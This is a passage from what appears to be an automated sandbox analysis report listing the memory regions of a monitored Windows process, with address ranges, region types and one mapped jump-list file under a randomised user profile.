0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 3996 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 3997 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 3998 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 3999 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4000 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4001 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4002 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4003 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4004 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4005 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4006 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4007 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4008 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4009 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4010 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4011 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4012 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4013 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4014 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4015 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4016 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4017 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4018 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4019 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4020 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4021 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4022 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4023 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4024 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4025 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4026 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4027 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4028 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4029 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4030 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4031 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4032 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4033 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4034 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4035 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4036 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4037 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4038 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4039 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4040 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4041 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4042 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4043 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4044 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4045 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4046 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4047 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4048 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4049 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4050 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4051 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4052 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4053 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4054 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4055 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4056 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4057 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4058 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4059 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4060 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4061 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4062 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4063 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4064 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4065 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4066 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4067 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4068 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4069 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4070 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4071 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4072 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4073 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4074 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4075 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4076 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4077 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4078 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4079 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4080 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4081 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4082 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4083 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4084 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4085 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4086 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4087 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4088 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4089 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4090 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4091 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4092 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4093 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4094 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4095 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4096 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4097 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4098 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4099 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4100 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4101 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4102 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4103 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4104 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4105 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4106 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4107 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4108 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4109 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4110 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4111 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4112 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4113 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4114 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4115 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4116 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4117 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4118 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4119 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4120 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4121 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4122 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4134 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4135 start_va = 0x2d80000 end_va = 0x2d80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4136 start_va = 0x42e0000 end_va = 0x4313fff entry_point = 0x0 region_type = private name = "private_0x00000000042e0000" filename = "" Region: id = 4137 start_va = 0x4350000 end_va = 0x43cffff entry_point = 0x4350000 region_type = mapped_file name = "47bb2136fda3f1ed.automaticdestinations-ms" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\47bb2136fda3f1ed.automaticDestinations-ms" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\47bb2136fda3f1ed.automaticdestinations-ms") Region: id = 4138 start_va = 0xa470000 end_va = 0xb46ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a470000" filename = "" Region: id = 4139 start_va = 0x3ee0000 end_va = 0x3ee3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4140 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 4141 start_va = 0x2d70000 end_va = 0x2d72fff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 4142 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4143 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 4144 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4145 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4146 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4147 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4148 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4149 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4150 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4151 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4152 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4153 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4154 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4155 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4156 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4157 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4158 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4159 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4160 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4161 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4162 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4163 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4164 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4165 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4166 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4167 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4168 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4169 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4170 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4171 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4172 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4173 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4174 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4175 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4176 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4177 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4178 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4179 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4180 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4181 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4182 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4183 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4184 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4185 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4186 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4187 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4188 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4189 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4190 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4191 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4192 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4193 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4194 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4195 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4196 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4197 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4198 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4199 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 4200 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = 